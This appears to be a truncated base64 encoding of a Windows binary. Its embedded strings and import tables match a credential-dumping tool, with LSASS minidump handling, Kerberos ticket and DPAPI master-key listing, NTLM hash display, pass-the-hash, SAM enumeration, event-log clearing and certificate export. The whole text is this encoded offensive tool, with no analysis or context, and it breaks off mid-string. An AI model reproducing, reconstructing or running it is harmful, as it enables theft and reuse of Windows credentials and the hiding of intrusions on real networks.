ZQBhAGQAIABlAGwAZQBtAGUAbgB0AHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZgBpAHIAcwB0ACAAZQBsAGUAbQBlAG4AdAAKAAAAbABzAGEAcwByAHYAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAABiAGMAcgB5AHAAdAAAAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAQkNyeXB0RW5jcnlwdAAAAEJDcnlwdERlY3J5cHQAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAATwBiAGoAZQBjAHQATABlAG4AZwB0AGgAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAQwBhAGMAaABlAGQAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAQwBhAGMAaABlAGQASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAABVAG4AbABvAGMAawAAAAAAUAByAG8AeAB5AAAAUwBlAHIAdgBpAGMAZQAAAEIAYQB0AGMAaAAAAE4AZQB0AHcAbwByAGsAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABVAG4AawBuAG8AdwBuACAAIQAAAFUAbgBkAGUAZgBpAG4AZQBkAEwAbwBnAG8AbgBUAHkAcABlAAAAAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGQAcABhAHAAaQAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASwBlAHkAcwAAAGUAawBlAHkAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAdABpAGMAawBlAHQAcwAAAFAAYQBzAHMALQB0AGgAZQAtAGgAYQBzAGgAAABwAHQAaAAAAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAaQB2AGUAcwBzAHAAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB0AHMAcABrAGcAAABMAGkAcwB0AHMAIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABtAHMAdgAAAAAAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgAuAC4AAABTAGUAawB1AHIATABTAEEAIABtAG8AZAB1AGwAZQAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEkATgBUAEUATAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAJACUAcwAgADoACQAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAFMASQBEACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAcgB1AG4AAAAAAAAAdQBzAGUAcgAJADoAIAAlAHMACgBkAG8AbQBhAGkAbgAJADoAIAAlAHMACgBwAHIAbwBnAHIAYQBtAAkAOgAgACUAcwAKAAAAQQBFAFMAMQAyADgACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAQQBFAFMAMgA1ADYACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAbgB0AGwAbQAAAAAATgBUAEwATQAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAIAAgAFwAXwAgAGsAZQByAGIAZQByAG8AcwAgAC0AIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABvAG0AYQBpAG4ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAAAAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAAAAAACgAJACAAKgAgAEwATQAgACAAIAAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgAFMASABBADEAIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABGAGwAYQBnAHMAIAAgACAAIAA6ACAAJQAwADIAeAAvAE4AJQAwADIAeAAvAEwAJQAwADIAeAAvAFMAJQAwADIAeAAvACUAMAAyAHgALwAlADAAMgB4AC8AJQAwADIAeAAvACUAMAAyAHgAAAAAAAoACQAgACoAIAB1AG4AawBuAG8AdwAgACAAIAA6ACAAAAAAAFsAMAAuAC4AMABdAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAKAAkAIAAqACAAUABJAE4AIABjAG8AZABlACAAOgAgACUAdwBaAAAACQAgACAAIAAlAHMAIAAAADwAbgBvACAAcwBpAHoAZQAsACAAYgB1AGYAZgBlAHIAIABpAHMAIABpAG4AYwBvAHIAcgBlAGMAdAA+AAAAAAAlAHcAWgAJACUAdwBaAAkAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoACgAJACAAKgAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAAAAAATABVAEkARAAgAEsATwAKAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAJQAwADgAeAAgADoAIAAAAAAACgAJACAAWwAlADAAOAB4AF0AAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAACQAgAFsAJQAwADgAeABdAAoACQAgACoAIABHAFUASQBEACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABUAGkAbQBlACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABNAGEAcwB0AGUAcgBLAGUAeQAgADoACQAAAAoACQBLAE8AAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwAAAAAAAKACAAIAAgAFwAXwAgACUAcwAgAAAAAAAtAD4AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAABuAHUAbABsAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUA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AgCUrwIAnq8CAKqvAgC4rwIAmrACAAAAAAAErwIAqqkCAPCuAgDkrgIA2K4CAMyuAgDCrgIAuK4CAKquAgCWqQIAgKkCAGSpAgBQqQIANKkCACSpAgAMqQIA9KgCAOCoAgDAqAIAwqkCANypAgD2qQIAGKoCADiqAgBKqgIAYKoCAHSqAgCKqgIA+q4CAIixAgCSsQIAAAAAAH0BTHNhUXVlcnlJbmZvcm1hdGlvblBvbGljeQB1AUxzYU9wZW5Qb2xpY3kAVgFMc2FDbG9zZQAAZwBDcmVhdGVXZWxsS25vd25TaWQAAGEAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAYABDcmVhdGVQcm9jZXNzQXNVc2VyVwAA+AFSZWdRdWVyeVZhbHVlRXhXAADyAVJlZ1F1ZXJ5SW5mb0tleVcAAOIBUmVnRW51bVZhbHVlVwDtAVJlZ09wZW5LZXlFeFcA3wFSZWdFbnVtS2V5RXhXAMsBUmVnQ2xvc2VLZXkAPgBDbG9zZVNlcnZpY2VIYW5kbGUAAK8ARGVsZXRlU2VydmljZQCuAU9wZW5TQ01hbmFnZXJXAACwAU9wZW5TZXJ2aWNlVwAATAJTdGFydFNlcnZpY2VXAMQBUXVlcnlTZXJ2aWNlU3RhdHVzRXgAAEIAQ29udHJvbFNlcnZpY2UAADsBSXNUZXh0VW5pY29kZQBQAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAKwBT3BlblByb2Nlc3NUb2tlbgAAGgFHZXRUb2tlbkluZm9ybWF0aW9uAEoBTG9va3VwQWNjb3VudFNpZFcAWABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAACUAENyeXB0RXhwb3J0S2V5AACGAENyeXB0QWNxdWlyZUNvbnRleHRXAACaAENyeXB0R2V0S2V5UGFyYW0AAKAAQ3J5cHRSZWxlYXNlQ29udGV4dACTAENyeXB0RW51bVByb3ZpZGVyc1cAmwBDcnlwdEdldFByb3ZQYXJhbQCMAENyeXB0RGVzdHJveUtleQCcAENyeXB0R2V0VXNlcktleQCrAU9wZW5FdmVudExvZ1cABAFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAOgBDbGVhckV2ZW50TG9nVwAAZQBDcmVhdGVTZXJ2aWNlVwAAQwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACoAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAADCAVF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AAAdAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA4gBGcmVlU2lkAJkAQ3J5cHRHZXRIYXNoUGFyYW0AogBDcnlwdFNldEtleVBhcmFtAABwAlN5c3RlbUZ1bmN0aW9uMDMyAFUCU3lzdGVtRnVuY3Rpb24wMDUAnwBDcnlwdEltcG9ydEtleQAAaQJTeXN0ZW1GdW5jdGlvbjAyNQCIAENyeXB0Q3JlYXRlSGFzaACJAENyeXB0RGVjcnlwdAAAiwBDcnlwdERlc3Ryb3lIYXNoAABkAUxzYUZyZWVNZW1vcnkAnQBDcnlwdEhhc2hEYXRhALEBT3BlblRocmVhZFRva2VuAEUCU2V0VGhyZWFkVG9rZW4AALQARHVwbGljYXRlVG9rZW5FeAAAOABDaGVja1Rva2VuTWVtYmVyc2hpcAAAbABDcmVkRnJlZQAAawBDcmVkRW51bWVyYXRlVwAAQURWQVBJMzIuZGxsAAB3AENyeXB0QmluYXJ5VG9TdHJpbmdXAAB0AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQBGAENlcnRHZXROYW1lU3RyaW5nVwAAUABDZXJ0T3BlblN0b3JlADwAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAAA8AQ2VydENsb3NlU3RvcmUAAEEAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5ACkAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlACwAQ2VydEVudW1TeXN0ZW1TdG9yZQAJAVBGWEV4cG9ydENlcnRTdG9yZUV4AABDUllQVDMyLmRsbAAFAENETG9jYXRlQ1N5c3RlbQAEAENER2VuZXJhdGVSYW5kb21CaXRzAAAGAENETG9jYXRlQ2hlY2tTdW0AAAsATUQ1RmluYWwAAA0ATUQ1VXBkYXRlAAwATUQ1SW5pdABjcnlwdGRsbC5kbGwAAE4AUGF0aElzUmVsYXRpdmVXACIAUGF0aENhbm9uaWNhbGl6ZVcAJABQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAhAFNhbU9wZW5Vc2VyAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluAAcAU2FtQ29ubmVjdAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgAsAFNhbVJpZFRvU2lkABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZX